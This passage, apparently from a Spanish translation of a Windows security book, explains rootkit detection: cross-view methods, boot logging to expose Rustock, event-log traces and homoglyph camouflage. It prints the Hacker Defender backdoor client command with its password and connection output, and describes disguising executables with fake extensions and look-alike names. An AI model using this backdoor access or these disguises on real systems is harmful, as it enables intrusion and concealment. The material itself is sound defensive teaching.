y trucos que pueden usarse para atrapar algunos de los rootkits más sucios de hoy en día, como
Rustock.
El ascenso de las herramientas de detección de rootkits

A finales de 2003 y principios de 2004, Joanna Rutkowska lanzó una herramienta llamada KLis-
ter que podía utilizarse en sistemas de Windows 2000 para volcar una lista de procesos utilizan-
do un controlador cargado en el kernel. La herramienta era, debemos decirlo, “amigable con los
expertos”, pero, hasta donde lo sabemos, se trataba de la primera herramienta públicamente dis-
ponible de su tipo que buscaba dar al usuario una vista diferente de los procesos que se ejecuta-
ban en el sistema que se obtenía de API posiblemente enganchadas. Joanna siguió su excelente
trabajo en este campo y posteriormente ha publicado muchas herramientas más relaciona-
das con rootkits, incluida su última versión: el System Virginity Verifier (SVV). SVV es una he-
rramienta interesante que usa un método llamado detección basada en vista cruzada. Todas las
herramientas de Joanna pueden descargarse gratis de http://invisiblethings.org/tools.html.
En 2004, James Butler lanzó VICE, que se dice es una de las mejores herramientas de rootkit
disponibles en su época. VICE tenía una agradable GUI escrita para la plataforma .NET y podía
identificar formas populares de sigilo en modo de usuario y de kernel en esa época, incluidas
funciones parchadas, ganchos de tabla de direcciones y modificaciones a la estructura de da-
tos como SSDT en el kernel.
También en 2004, Microsoft Research saltó a la palestra al presentar su método para detec-
ción de rootkits, que se denominaba detección basada en vista cruzada, cuando lanzó un artículo
de investigación sobre el tema: http://research.microsoft.com/research/pubs/view.aspx?type
=Technical%20Report&id=775. El equipo Strider de Microsoft Research estaba investigando
previamente las maneras de determinar cambios en el sistema mediante la herramienta AskStri-
der cuando sus miembros se interesaron en la detección de rootkits. El resto, como dice, es his-
toria. Este equipo ha seguido concentrado en el esfuerzo de investigación en esta área y ha
lanzado varios artículos y herramientas adicionales para el público, que pueden descargarse en
http://research.microsoft.com/rootkit/.
En 2005, Mark Russinovich lanzó Rootkit revealer, que usaba un método de vista cruzada
para detectar no sólo archivos ocultos, sino también entradas ocultas del Registro.
Por último, en 2006 y 2007 las herramientas de detección de rootkits se han vuelto abundan-
tes y se ha establecido un sitio Web dedicado, www.antirootkit.com, para promover los avances
en esta área. Al momento de escribir esto, antirootkit.com estaba vinculado a 31 diferentes herra-
mientas de detección de rootkits para diversos sistemas operativos, que van de OSX a Linux, a
Windows. Algunas de las herramientas más populares y efectivas antirrootkit en 2006 eran
IceSword, GMER y RKUnhooker, todas las cuales pueden encontrarse en antirootkit.com.
08_SCAMBRAY_08.indd 252 7/28/08 9:09:08 PM

Cuando los detectores de rootkits se volvieron populares y se empezaron a usar ampliamen-

te, algunos autores de rootkits empezaron a tomarlos como objetivos para evitar que las herra-
mientas reportaran resultados exactos sobre los sistemas que estaban rastreando utilizando los
denominados ataques específicos de la implementación. Esto podría ir desde simplemente agregar el
detector de rootkit a una lista de procesos raíz (es decir, una lista de procesos a los que se les per-
mitía “ver” todo lo que normalmente ocultaba un rootkit; esto funciona bien para detectores de
vista cruzada), hasta realizar trucos específicos de la aplicación, para lanzar ataques dirigi-
dos de negación del servicio al sitio que albergaba la herramienta para evitar que las personas
pudieran descargarla. Holy Father, autor del famoso rootkit Hacker Defender, durante años
ofreció versiones pagadas del rootkit antes de retirarlo de la escena a finales de 2006. Las últimas
versiones del rootkit (en un momento) eran capaces de pasar por alto todos los detectores bien
conocidos empleando una combinación de técnicas.
La vinculación entre los denominados autores de rootkits de prueba de concepto y las herra-
mientas de detección de rootkits también es algo que vale la pena tomar en cuenta. Como ejem-
plo, los autores del rootkit Unreal.A también han creado un detector de rootkits denominado
RKUnhooker. En una publicación de rootkit.com, los autores aseguraban que habían creado
el rootkit Unreal.A para probar, entre otras cosas, la capacidad de la herramienta de detección
de rootkits RKUnhooker y demostrar debilidades en otras herramientas antirrootkits.
El problema de los autores de rootkits que estudian las herramientas antirrootkits populares
y ampliamente disponibles y luego encuentran las debilidades en ellas que pueden explotarse
no va a terminarse; es un juego continuo del gato y el ratón. Por esto, algunos investigadores de
seguridad crean sus propias herramientas de detección de rootkits y nunca las lanzan al público.
Joana Rutkowska resume esta situación de manera muy elegante en su presentación sobre SVV
y la OMCD (Open Methodology for Compromise Detection, metodología abierta para detección
de compromisos). Dice que debido a que sólo puede usarse un número finito de maneras para
pasar inadvertido en un sistema, si estos métodos pudieran enumerarse y un número suficiente
de personas escribieran las herramientas suficientes, se evitarían los ataques específicos de la
implementación en herramientas de detección de rootkits que se han vuelto muy comunes, por-
que habría muchas herramientas en existencia.
Detección de rootkits basada en vista cruzada

El concepto tras la detección de vista cruzada consiste, en esencia, en plantear la misma pregun-
ta dos veces pero de manera ligeramente diferente, con la idea de que si todo está bien, debe ob-
tenerse la misma respuesta las dos veces, pero que si una respuesta del método difiere de la otra,
entonces sabrá que algo sospechoso está pasando que merece mayor investigación. Por ejemplo,
una manera interesante de detectar archivos ocultos consiste en usar la API de Windows para
obtener una lista de archivos y carpetas y luego usar acceso directo a disco (analizado antes)
para leer la tabla maestra de archivos (MFT, Master File Table) que contiene una lista de archi-
vos. Cualquiera de éstos que aparezca en la MFT pero que la API de Windows no los reconozca
probablemente se estén escondiendo de manera activa. Es uno de los primeros ejemplos de de-
tección basada en vista cruzada que conocemos.
Dennis Middleton, ingeniero de Microsoft, fue una de las primeras personas en sugerir una
herramienta basada en esta técnica (que luego usó el equipo de seguridad de PSS de manera
muy amplia) mucho antes de que el término se acuñara.
08_SCAMBRAY_08.indd 253 7/28/08 9:09:09 PM

Esta técnica resultó ser devastadoramente efectiva contra archivos que ocultaban rootkits
como Hacker Defender y era una de las primeras herramientas que el equipo de seguridad de
PSS ejecutaba cuando respondía a posibles intrusiones. Poco después de que se desarrolló esta
herramienta, otra denominada Rootkit Revealer (RKR) fue lanzada por Mark Russinovich que
operaba, en esencia, bajo el mismo principio, pero extendía también la detección de vista cruza-
da al Registro. Con RKR, podría finalmente encontrar archivos ocultos y claves y valores del Re-
gistro. Esto resultó excesivamente útil en varios casos de hackeo que incluían rootkits de modo
de usuario, que cargaban como una DLL vía la clave del registro AppInit_DLLS pero escondien-
do sólo procesos, no archivos. Por lo general, estos rootkits tratarían activamente de ocultar la
DLL del rootkit al que se hacía referencia en el valor del Registro, evitando que se desplegara en
varias herramientas de edición del Registro. RKR podía evidenciar este sigilo y desplegar las
entradas ocultas.
Por último, Joanna Rutkowska llevó la detección de vista cruzada al siguiente nivel con el
lanzamiento de SVV 1.0. Esta herramienta podía usarse para detectar rootkits que modificaban
el código en la memoria, como el que trata de parchar funciones en la memoria. El concepto em-
pleado por SVV compara la sección .text de los binarios en disco (la parte del formato de archivo
ejecutable que contiene el código de los programas) con la representación de esta sección en me-
moria. Si difieren, usted sabe que el código se ha modificado en la memoria y que debe determi-
nar por qué.
Tecnologías de detección de rootkits ad hoc

Detectar la presencia de software que pasa inadvertido suele reducirse a descubrir algo que el
autor del rootkit “olvidó” ocultar o simplemente no sabía que podía usarse para detectar su
obra. En ocasiones estos defectos son atendidos en versiones subsecuentes del rootkit. Sin em-
bargo, al modificar el código o los datos del sistema o la aplicación, efectos colaterales o conse-
cuencias no intencionales pueden llevar a un amplio rango de síntomas. En realidad, muchos de
los casos que hemos investigado empezaron cuando algún sistema o aplicación se comportaba
de manera extraña o simplemente dejaba de funcionar o mostraba pantallas azules. Ocultarse es
fácil, pero ocultarse bien es difícil, muy difícil.
Volcado de la memoria del proceso

WinDBG es un popular depurador gratuito disponible para descarga en Microsoft. Un aspecto
interesante del rootkit Hacker Defender es que se engancha en la API de la memoria virtual en
todos los procesos en ejecución que no son raíz para evitar que depuradores en modo de usuario
como WinDBG puedan “ver” los ganchos de la función que están instalados en procesos engan-
chados por Hacker Defender. Lo irónico es que un efecto colateral de este comportamiento anti-
depuración permite detectar la presencia del rootkit empleando un solo comando del depura-
dor. WinDBG tiene la capacidad de crear un volcado de memoria de un proceso, que en esencia
escribe todas las páginas disponibles de una memoria de procesos en un archivo para su análisis
posterior por parte del depurador. Cuando Hacker Defender se está ejecutando en un sistema,
obtendrá un error si trata de crear un volcado de memoria de un proceso en ejecución. Como
una prueba rápida, puede ejecutar Notepad.exe, adjuntarle WinDBG y luego tratar de generar
un volcado completo de la memoria del proceso, como se muestra en la figura 8-11.
08_SCAMBRAY_08.indd 254 7/28/08 9:09:10 PM

Figura 8-11 Hacker Defender 1.00 en oposición a WinDbg
Desvíos y problemas con pilas de llamadas

En 1999, Galen Hunt y Doug Brubacher de Microsoft Research publicaron un artículo de inves-
tigación denominado “Detours: Binary Interception of Win32 Functions” (Desvíos: intercepción
de binarios de funciones de Win32; http://research.microsoft.com/sn/detours/). Desde enton-
ces, no sólo aplicaciones de terceros han usado esta técnica para modificar el comportamiento de
la API de Windows, sino que los autores de malware también han usado la misma técnica para
alcanzar sus fines. Una manera de detectar estas intercepciones de API es el uso del comando
!chkimg de WinDbg en combinación con !for_each_module.
sugerencia
El siguiente artículo de la base de conocimientos de Microsoft tiene información detallada sobre la
manera de usar estos comandos y lo que hay que buscar en la salida: http://support.microsoft.com/
kb/920925.
08_SCAMBRAY_08.indd 255 7/28/08 9:09:11 PM

Habilitación de registro de arranque para detectar

Rustock y otros rootkits basados en controlador
A menudo los autores de rootkits se equivocan al omitir las características de diagnóstico y re-
cuperación del sistema operativo cuando los desarrollan. Por ejemplo, los primeros rootkits a
menudo agregaban entradas de controlador al Registro para crear nuevos servicios, pero lue-
go fallaban en considerarlos para que también empezaran cuando se arrancaba Windows en
modo seguro. Como resultado, ¡todo lo que se necesitaba hacer era iniciar el sistema en modo
seguro para evitar que se cargara el código del rootkit y los archivos y servicios fueran visibles!
Rustock es un rootkit muy sigiloso pero puede detectarse ¡sin usar herramientas especiales y sin
hacer nada más que ejecutar un comando del sistema y reiniciar la máquina!
El truco para detectar Rustock y otros rootkits en modo de kernel, como Unreal, que se car-
gan al inicio del sistema mediante controladores de dispositivo, consiste en permitir el registro
de arranque en un sistema. Para permitir éste, simplemente ejecute msconfig.exe y, en la ficha
boot.ini, haga clic en la casilla de verificación que se encuentra junto a /BOOTLOG (o haga clic
en la casilla de verificación junto a Registro de arranque en la ficha Arranque, en Vista) y luego
reinicie el sistema.
Figura 8-12 Uso de msconfig.exe para habilitar el registro de arranque en Windows XP
08_SCAMBRAY_08.indd 256 7/28/08 9:09:11 PM

Figura 8-13 Uso de msconfig.exe para habilitar el registro de arranque en Vista
Después de que el sistema se ha reiniciado, debe ser visible un nuevo archivo en el directorio
Windows llamado ntbtlog.txt (si no aparece, eso resulta sospechoso), y debe contener una entra-
da para cada controlador de kernel que empezaría durante el proceso de arranque (a menos que
un rootkit lo haya eliminado explícitamente). En este punto, tiene un par de opciones para de-
tectar controladores ocultos. En primer lugar, puede aplicar el método basado en vista cruzada
para detectar el controlador oculto de Rustock para hacer una comparación entre la lista de con-
troladores que ve que se cargaron, de acuerdo con ntbtlog.txt, y la lista de controladores visibles
(tal como se despliega mediante otra herramienta como Autoruns.exe, mientras el sistema está
en línea). O podría simplemente aprovechar el hecho de que por lo general los controladores
de dispositivos no suelen cargarse desde un flujo de datos alterno y podría buscar la cadena
system32: en el archivo ntbtlog.txt.
A continuación se presenta una salida del ntbtlog.txt de una máquina que ejecuta el rootkit
Rustock:
Loaded driver \SystemRoot\System32\Drivers\Fs_Rec.SYS

Loaded driver \SystemRoot\System32\Drivers\Null.SYS
Loaded driver \SystemRoot\System32\Drivers\Beep.SYS
Loaded driver \SystemRoot\System32:18467 <— Rustock driver in an ADS
Loaded driver \SystemRoot\System32\drivers\vga.sys
08_SCAMBRAY_08.indd 257 7/28/08 9:09:12 PM

En este ntbtlog.txt, puede ver que la máquina está ejecutando Rustock, Unreal y Hacker De-
fender:
Controlador cargado ACPI.sys
...
Controlador cargado \SystemRoot\System32\Drivers\Null.SYS
Controlador cargado \SystemRoot\System32\Drivers\Beep.SYS
Controlador cargado \SystemRoot\System32:18467 <-Rustock
Controlador cargado \SystemRoot\System32\drivers\vga.sys
Controlador cargado \SystemRoot\System32\Drivers\mnmdd.SYS
...
Controlador cargado \SystemRoot\system32\Drivers\userdump.sys
Controlador cargado \??\C:\:unreal.sys <-Unreal
No se ha cargado el controlador \SystemRoot\System32\DRIVERS\ipnat.sys
...
Controlador cargado \SystemRoot\system32\drivers\kmixer.sys
Controlador cargado \??\C:\Documents and Settings\User\Desktop\hxvariant\
hxdef100r\hxdefdrv.sys <-Hacker Defender
Despliegue de dispositivos ocultos en el Administrador de dispositivos

Otra manera interesante de detectar algunos rootkits antiguos en modo de kernel que se cargan
mediante controladores de dispositivos consiste en usar una característica del Administrador de
dispositivos de Windows que le permite ver controladores de dispositivos heredados y otros
que suelen estar ocultos. Para habilitar esta característica, abra el Administrador de dispositivos
y elija Ver | Mostrar dispositivos ocultos. Cuando esta opción está habilitada, se muestra una
nueva categoría de dispositivos denominada Controladores que no son Plug and Play y algunos
viejos rootkits pueden aparecer en esta lista.
Entrada del Registro BootExecute

La entrada del Registro BootExecute representa uno de los primeros puntos de entrada que los
programas (buenos o malos) pueden usar para ejecutarse durante el proceso de arranque (con la
excepción de los “bootkits”, que se cargan desde el sector de arranque, en una etapa muy anterior
del proceso de arranque). El Administrador de sesiones de Windows usa esta clave del Registro
para ejecutar tareas durante el proceso de arranque y principalmente la utilería de verificación de
discos (chkdsk.exe) de Windows la usa para rastrear discos en busca de problemas, antes de que
se le dé una oportunidad de cargarse a cualquier controlador o servicio. Una técnica interesante,
observada en algunas de las herramientas de detección de rootkits más recientes, consiste en usar
este valor de Registro de BootExecute para facilitar la detección de rootkits. Debido a que cual-
quier cosa que aparezca en la lista de esta clave de Registro se ejecuta antes de que la mayor par-
te de los controladores y servicios tengan una oportunidad de cargarse, el programa que se está
ejecutando tiene una vista muy limpia del sistema de archivos y el Registro. La palabra muy se
usa aquí porque los controladores marcados como de arranque en el Registro (SERVICE_BOOT_
START) se cargan antes de cualquier programa que aparece en la lista de este valor del Registro.
Un lector astuto observará que esto implica que los rootkits en modo de kernel necesitan marcarse
Nota como controladores de inicio de arranque para cargarse antes de los programas de BootExecute.
Imagine un programa que se carga de manera muy temprana en el proceso de arranque me-
diante esta clave del Registro y que luego toma una instantánea de los servicios y controladores
08_SCAMBRAY_08.indd 258 7/28/08 9:09:12 PM

incluidos en el Registro antes de que se inicien éstos, y luego toma otra después de que el siste-
ma termina de arrancar ese programa y compara las dos instantáneas para encontrar cualquier
controlador o servicio que esté oculto. Esta técnica es utilizada por software como UnHackMe
4.0, que usa la herramienta de detección de rootkits Partizan.
En el juego del gato y el ratón que se juega constantemente entre los chicos buenos y los ma-
los, el ganador suele ser el que puede cargar primero su código, y este punto de entrada único
representa una oportunidad para ambos bandos.
Detección basada en red de Hacker Defender

La puerta trasera integrada de Hacker Defender fue muy innovadora cuando se comparaba con
las puertas traseras que solían utilizarse en la época en que se lanzó el rootkit. Cuando Hacker
Defender se carga, no sólo oculta procesos, archivos y carpetas, sino que también configura una
puerta trasera que está al alcance de cualquier extremo TCP creado por una aplicación en modo
de usuario. Por ejemplo, el RPC End Point Mapper (RPC EPM) es un extremo TCP bien conoci-
do que escucha en TCP 135. Este puerto TCP se crea desde un proceso en modo de usuario lla-
mado SVCHOST.EXE (en Windows 2000 y posteriores). Debido a que el extremo es creado por
una aplicación en modo de usuario, y a que Hacker Defender es un rootkit en modo de usuario,
puede interceptar todos los paquetes destinados a éste y cualquier otro puerto TCP en que está
escuchando un proceso en modo de usuario. Sin embargo, la puerta trasera de Hacker Defender
no puede usar algunos puertos, como los bien conocidos TCP 139 y 445, porque estos extremos
son creados desde un controlador en modo de kernel (srv.sys); como tales, Hacker Defender no
puede interceptar paquetes destinados a estos puertos porque sólo realiza parchado de funcio-
nes en procesos en modo de usuario.
Con un caballo de Troya de puerta trasera tradicional, ésta suele crear un nuevo puerto para
escuchar (digamos, el puerto 666) y aunque el puerto esté oculto localmente utilizando un root-
kit en modo de usuario, el puerto que escucha probablemente sería visible utilizando algo pare-
cido a un rastreador de puertos de red de la máquina. Si la puerta trasera que escucha en el
puerto 666 tiene su puerto escondido localmente de un administrador que trate de usar el co-
mando netstat para presentar una lista de todos los puertos que escuchan, sería visible para al-
guien que realiza un rastreo de puertos de la máquina y, por tanto, muy fácil de detectar. Con la
puerta trasera de Hacker Defender, no se crea ningún puerto adicional; simplemente inspeccio-
na todos los paquetes destinados para todos los procesos en modo de usuario, y si el paquete fue
creado por el cliente de la puerta trasera, se envía por una ruta especial de código.
El proceso usado es muy similar al que se utiliza para ocultar archivos y carpetas. El código
del rootkit inspecciona los datos (la lista devuelta de archivos, carpetas o, en este caso, el paque-
te) y luego toma una acción con base en los resultados de esa inspección. En esencia, con Hacker
Defender instalado, hay dos rutas de código para cada extremo TCP de modo de usuario: el que
se busca, lo que lleva a una operación normal del servidor de red que escucha en el puerto, y el
que da al atacante remoto acceso al sistema mediante el código de puerta trasera integrado.
Aunque este método parecería muy sigiloso, aún permite una fácil detección vía la red debido
al diseño de la puerta trasera de red.
A finales de 2004, se publicó una herramienta en la lista de correos Full-Disclosure que permitía
a los usuarios rastrear un rango de direcciones IP en busca de hosts con Hacker Defender instalado.
La herramienta trabajaba al enviar la clave maestra de Hacker Defender (integrada simplemente
por 32 bytes de datos) para varias versiones del rootkit a varios puertos en un rango de direcciones
IP proporcionadas por el usuario e inspeccionaba la respuesta. Si se aceptaba la clave maestra, se
presumía que la puerta trasera estaba funcionando en ese puerto y se alertaba al usuario.
08_SCAMBRAY_08.indd 259 7/28/08 9:09:13 PM

A continuación se encuentra la salida del cliente de puerta trasera de Hacker Defender

(bdcli100.exe) haciendo una conexión con una máquina con el rootkit Hacker Defender instala-
do y aceptando conexiones en todos los puertos TCP de modo de usuario (en este caso, TCP 135
se usa para la conexión de puerta trasera):
C:\>bdcli100.exe 169.254.157.32 135 hxdef-rulez

connecting server ...
receiving banner ...
opening backdoor ..
backdoor found
checking backdoor ......
backdoor ready
authorization sent, waiting for reply
authorization - SUCCESSFUL
backdoor activated!
A continuación se encuentra la salida del mismo cliente tratando de conectarse a un puerto

en modo de kernel (TCP 139) que no está enganchado por el rootkit:
C:\>bdcli100.exe 169.254.157.32 139 hxdef-rulez

connecting server ...
receiving banner ...
opening backdoor .....................
backdoor is not installed on 169.254.157.32:139
Detección del espacio de nombres del administrador de objetos

Algunos rootkits, como Hacker Defender, crean un objeto de sección con un nombre muy obvio,
que puede detectarse fácilmente empleando una herramienta como WinObj.exe de Microsoft
(figura 8-14). Observe lo fácil que sería cambiar el nombre del objeto de la sección usada por
Hacker Defender para que se mezcle mejor con el entorno.
Detección basada en el registro de sucesos

Muchas intrusiones dejan evidencia forense en los registros de eventos, por lo general en la for-
ma de entradas del registro de sucesos de sistema del administrador del control de servicios
(Service Control Manager), lo que indica la instalación con éxito del malware y el inicio de nue-
vos servicios (o en ocasiones fallas de aplicaciones u otros sucesos relacionados con la intrusión).
He aquí la traza de auditoría dejada por Hacker Defender 1.0 en Windows XP SP2:
Tipo: Información
Origen: Service Control Manager
Categoría: Ninguno
Id suceso: 7035
Fecha: 29/09/2008
Hora: 7:33:11 PM
Usuario: XPSP2OFFICE2003\Admin
Equipo: XPSP2OFFICE2003
Descripción:
08_SCAMBRAY_08.indd 260 7/28/08 9:09:14 PM

Se ha enviado satisfactoriamente un control iniciar al servicio HXD Ser-

vice 100.
Para obtener más información, vea el Centro de ayuda y soporte técnico en
http://go.microsoft.com/fwlink/events.asp.
Tipo: Información
Origen: Service Control Manager
Categoría: Ninguno
Id suceso: 7036
Fecha: 29/09/2008
Hora: 7:33:11 PM
Usuario: N/A
Equipo: XPSP2OFFICE2003
Descripción:
El servicio HXD Service 100 entró en estado Activo.
Para obtener más información, vea el Centro de ayuda y soporte técnico en
http://go.microsoft.com/fwlink/events.asp.
Figura 8-14 WinObj desplegando el objeto de sección creado por Hacker Defender
08_SCAMBRAY_08.indd 261 7/28/08 9:09:15 PM

EL FUTURO DE LOS ROOTKITS

A medida que los rootkits para Windows han evolucionado con los años, ha quedado claro que
el código que se carga primero y opera en el nivel más bajo gana. Es por esto que la mayoría de
los autores de rootkits quieren cargar su código en el anillo 0, de modo que puedan ejercer un
máximo control sobre los sistemas operativos y la aplicación que se ejecuta en ellos. Muchos co-
mercializadores de seguridad de software también implementan software que opera en el anillo
0, de modo que no están en desventaja ante amenazas que operan en este nivel, y a menudo la
batalla por pasar inadvertidos se conduce por completo en el modo de kernel. Esto se ha vuelto
una espada de doble filo para autores de malware y comercializadores de seguridad de software
por igual, porque es todo un desafío escribir código sólido que se ejecute en el modo de kernel
sin problemas, y los errores y el código erróneo en el anillo 0 por lo general termina haciendo
que el sistema operativo falle. Pero ¿qué pasaría si estuviera disponible un anillo inferior al 0 en
el que pudiera ejecutarse código malicioso? ¿Por ejemplo, el anillo –1? Esto es lo que ofrece el
soporte a la virtualización de hardware en las CPU modernas, y ya se han escrito rootkits de
prueba de concepto que aprovechan estas nuevas características de la CPU que llevan al siguien-
te nivel el juego de pasar inadvertido.
Para quienes no están familiarizados con los productos populares de virtualización disponi-
bles hoy en día, como Virtual PC o VMWare, estos productos le permiten ejecutar un sistema
operativo (el sistema operativo invitado) dentro de una aplicación que se está ejecutando dentro
de un sistema operativo (el sistema operativo host, o anfitrión). En teoría, el sistema operativo
invitado no tiene idea de que se está ejecutando de manera virtualizada dentro de una aplicación
en un sistema operativo anfitrión. En realidad, las aplicaciones que se ejecutan en un sistema ope-
rativo invitado tienen numerosas maneras de detectar que se están ejecutando en una VM (Vir-
tual Machine, máquina virtual) debido al diseño de la caja de arena de software (VM) en que
están ejecutándose. Por lo general, para ejecutar un sistema operativo en una VM necesita insta-
lar software especializado. ¿Pero qué pasa si un rootkit, cuando se activa, fuera capaz de volverse
el nuevo sistema operativo host al mover de manera efectiva el antiguo sistema operativo host
(el que está usando) a una VM al vuelo, convirtiéndolo en el sistema operativo invitado?
Éste es el concepto empleado por los rootkits basados en hipervisores como Vitriol (escrito por
Dino Dai Zovi) para MacOS X empleando las extensiones VT-x de Intel y Blue Pill para Windows
Vista x64 empleando las extensiones AMD64-V escrito por Joanna Rutkowska. Aún se debate si la
presencia de rootkits basados en hipervisor como Vitriol y Blue Pill pueden detectarse dentro del
sistema operativo invitado virtualizado, pero de acuerdo con las propias especificaciones de los
desarrolladores, la capacidad para que una aplicación detecte si se está ejecutando dentro de una
máquina virtual se considerarían una falla de diseño en las extensiones de virtualización. Al igual
que con otros rootkits tradicionales, parece que el único movimiento ganador consiste en no jugar
o, en este caso, deshabilitar el soporte para estas extensiones en el BIOS de las PC (si es posible) o
instalar primero un hipervisor no malicioso, antes de que pueda instalarse uno malicioso.
¿LOS ROOTKITS SON SIQUIERA NECESARIOS?

Al parecer, los rootkits y las herramientas de detección de rootkits han caído en un ciclo armo-
nioso en años recientes. Fuera de los rootkits académicos (los publicados para revisión, análisis,
educación, o una combinación de estos objetivos), se crean y liberan rootkits comerciales con el
fin de obtener beneficios económicos, para proteger adware, spyware, bots, caballos de Troya,
puertas traseras y descargadores de caballos de Troya.
08_SCAMBRAY_08.indd 262 7/28/08 9:09:16 PM

En el pasado, hemos visto rootkits instalados mediante explotaciones de controlador basa-

dos en exploración, y más recientemente hemos visto gusanos de correo masivo como el Storm,
que dejan caer rootkits después de usar técnicas de ingeniería social a fin de engañar a los usua-
rios para que los instalen; también los hemos visto instalados al abrir documento mal formados
que explotan vulnerabilidades de seguridad. Con el tiempo, en ocasiones sólo después de
muchos meses y de que se han comprometido cientos de miles de equipos, alguien, en algún
lugar, imagina que un nuevo rootkit avanzado está en una máquina y empieza a analizarlo y
a vincularlo con otro malware que suele tratar de ocultar. Invariablemente se encuentra una de-
bilidad, se publican los hallazgos y se escriben herramientas que explotan la debilidad para
facilitar la detección.
Un rootkit que ha ocultado con éxito malware durante meses puede, de pronto, volverse in-
servible por el descubrimiento de una debilidad en la técnica empleada para pasar inadvertido,
sobre todo cuando la debilidad es explotada por software popular como las herramientas de
detección de rootkits encontradas en el software antivirus más popular y las que se describen
en www.antirootkit.com. Lo irónico es que a veces lo peor que puede hacer para pasar inadver-
tido es usar técnicas de sigilo.
Hace años, cuando este autor estaba ayudando a una organización grande a combatir a al-
gunos hackers maliciosos y determinados, éstos estaban usando un rootkit que sólo constaba de
tres archivos: un controlador en modo de kernel, una DLL en modo de usuario y un archivo .INI
(usado para configurar el rootkit). El rootkit se hacía notar inicialmente al causar que uno de los
servidores de archivos del cliente mostrara una pantalla azul. Después de que la depuración
apuntara a un controlador de dispositivo misterioso y desconocido, se llamó al equipo de segu-
ridad de PSS para que investigara. En esa época, simplemente sucedió que estaban trabajando
en un nuevo método para detección de rootkits que podía detectar los archivos que un rootkit
estaba ocultando.
Este cliente tenía una gran cantidad de máquinas y, al parecer, el rootkit se estaba encontran-
do en ellas más rápido de lo que podían sacarse de línea y reconstruirlas. Pero de pronto, y sin
razón aparente, dejaron de encontrar el rootkit en las máquinas comprometidas, aun con la he-
rramienta de detección de rootkits. ¿Se habían rendido los chicos malos y se habían ido a casa?
No era probable. Mientras se siguió investigando, con el tiempo descubrieron que, por lo menos
en algunas máquinas, los atacantes estaban entrando al explotar una vulnerabilidad en un ser-
vicio que se ejecutaba como la todopoderosa cuenta SYSTEM. El código de shell que se estaba
ejecutando simplemente buscaba un archivo de un servidor remoto (vía HTTP, empleando la
API WinInet) y luego lo ejecutaba. Se descubrió que cuando se usaban las API WinInet de un
proceso que se ejecutaba como SYSTEM, cualquier archivo descargado se guardaba en la carpe-
ta Archivos temporales de Internet de Internet Explorer en el perfil de usuario predeterminado.
Encontraron esto al examinar el sistema en busca de archivos recién creados, o alrededor de la
hora en que se determinó que se había comprometido el sistema (mediante el análisis del ar-
chivo de registro, etc.). Con el tiempo encontraron un solo archivo GIF creado en la carpeta
Archivos temporales de Internet en todas estas máquinas alrededor de esa hora. Pero ¿por qué
los atacantes descargaban un GIF a la máquina? Tras una inspección de cerca, descubrieron
que el archivo no era en realidad un GIF (era un ejecutable con extensión de archivo GIF). Los
atacantes habían cambiado del uso de una puerta trasera basada en DLL por un rootkit en modo
de kernel al uso de una puerta trasera de DLL no oculta por un rootkit en modo de kernel,
sino con una extensión de archivo .GIF, ejecutándose desde una carpeta donde podría esperarse
encontrar una gran cantidad de archivos GIF. Estaban ocultándose hábilmente a simple vista sin
recurrir a ninguna forma de sigilo activo. En cambio estaban usando el camuflaje.
08_SCAMBRAY_08.indd 263 7/28/08 9:09:17 PM

sugerencia En un proceso, aún se pueden ejecutar programas y cargarse bibliotecas, sin importar la extensión
de archivo. Para probar esto, simplemente copie notepad.exe a una carpeta temporal y asígnele una
extensión diferente (pruebe a llamarlo NOTEPAD.GIF). Si abre un indicador de comandos y luego
escribe NOTEPAD.GIF, verá que se ejecuta el Bloc de notas.
Mientras cerramos este capítulo sobre la manera de pasar inadvertido, examinaremos algu-
nas de las maneras más inteligentes en que los hackers maliciosos pueden ocultarse a simple
vista, sin depender de técnicas tradicionales de rootkit. A menudo estos métodos de baja tecno-
logía pueden ser tan, o más, efectivos que emplear alguna forma de sigilo activo. La ventaja de
usar las técnicas documentadas aquí reduciría el riesgo de inestabilidad de la aplicación o el sis-
tema operativo, mientras que la desventaja sería la exposición a aplicaciones antivirus.
Ataques de homoglifos
Un homoglifo es un glifo muy similar a otro símbolo o glifo, pero que en realidad es muy diferen-
te. Los sistemas operativos representan los símbolos o glifos que despliegan en la pantalla varios
alfabetos e idiomas, usando internamente puntos de código de Unicode. Por ejemplo, la e mi-
núscula cirílica es representada por el punto de código Unicode U+0435 (U+00E5), mientras que
la e latina (la que usamos cuando desplegamos texto en español) está representada por el pun-
to de código de Unicode U+0065. La e cirílica se muestra en la figura 8-15 en la utilería Mapa de
caracteres de Windows (charmap.exe). Como opción predeterminada, en versiones en español
de Windows, estos dos glifos diferentes tienen un aspecto similar, pero como están represen-
tados internamente como puntos de código de Unicode diferentes, son muy distintos en el as-
pecto técnico.
Figura 8-15 Mapa de caracteres que muestra la e cirílica
08_SCAMBRAY_08.indd 264 7/28/08 9:09:19 PM

sugerencia Un estupendo recurso para examinar puntos de código de Unicode es www.unicode.org.
Los atacantes maliciosos pueden explotar este fenómeno visual para tratar de ocultar sus bi-
narios maliciosos a simple vista. A menudo los atacantes que quieren ejecutar programas en un
equipo comprometido quieren que esos programas parezcan exactamente como programas legí-
timos que la gente está acostumbrada a ver en herramientas como el Administrador de tareas,
de modo que no les prestan ninguna atención especial. El problema es que en una carpeta es-
pecífica sólo puede haber un archivo con un nombre determinado. Un intento de crear un se-
gundo archivo con el mismo nombre da como resultado un error. Por ejemplo, suponga que un
atacante quiere colocar su puerta trasera en un sistema y llamarlo explorer.exe. Debido a que ya
existe el legítimo explorer.exe en la carpeta C:\WINDOWS como opción predeterminada,
el atacante tendría que colocar su versión parecida a explorer.exe en otra carpeta. Un adminis-
trador de sistema inteligente notaría que se está ejecutando una segunda copia de explorer.exe,
y que lo hace desde la carpeta equivocada. Para resolver este problema, un atacante malicioso
recurriría al uso de un homoglifo en una de las letras del nombre explorer.exe y luego colocaría
el archivo en la misma carpeta que el verdadero explorer.exe. En la figura 8-16, la e cirílica mi-
núscula se usa como homoglifo de la e minúscula latina para colocar otra copia del verdadero
explorer.exe en la carpeta Windows. Se parece al archivo real. (En la figura 8-16, el explorer.exe
real se muestra a la izquierda y el falso, que usa la e cirílica, aparece en el extremo derecho).
La ventaja (para el atacante) de usar esta técnica es que resulta muy simple crear archivos
con nombres que parezcan legítimos archivos del sistema; cuando estos archivos se ejecutan, se
ve que se están ejecutando desde el archivo apropiado (como se ven en utilerías como el Admi-
nistrador de tareas o el Explorador de procesos).
Aunque puede ser muy difícil detectar archivos que utilizan homoglifos en el Explorador, es
relativamente fácil cuando se usa el comando DIR en una shell de comandos, como se muestra
a continuación:
23/08/2001 08:00 AM 9,522 Zapotec.bmp

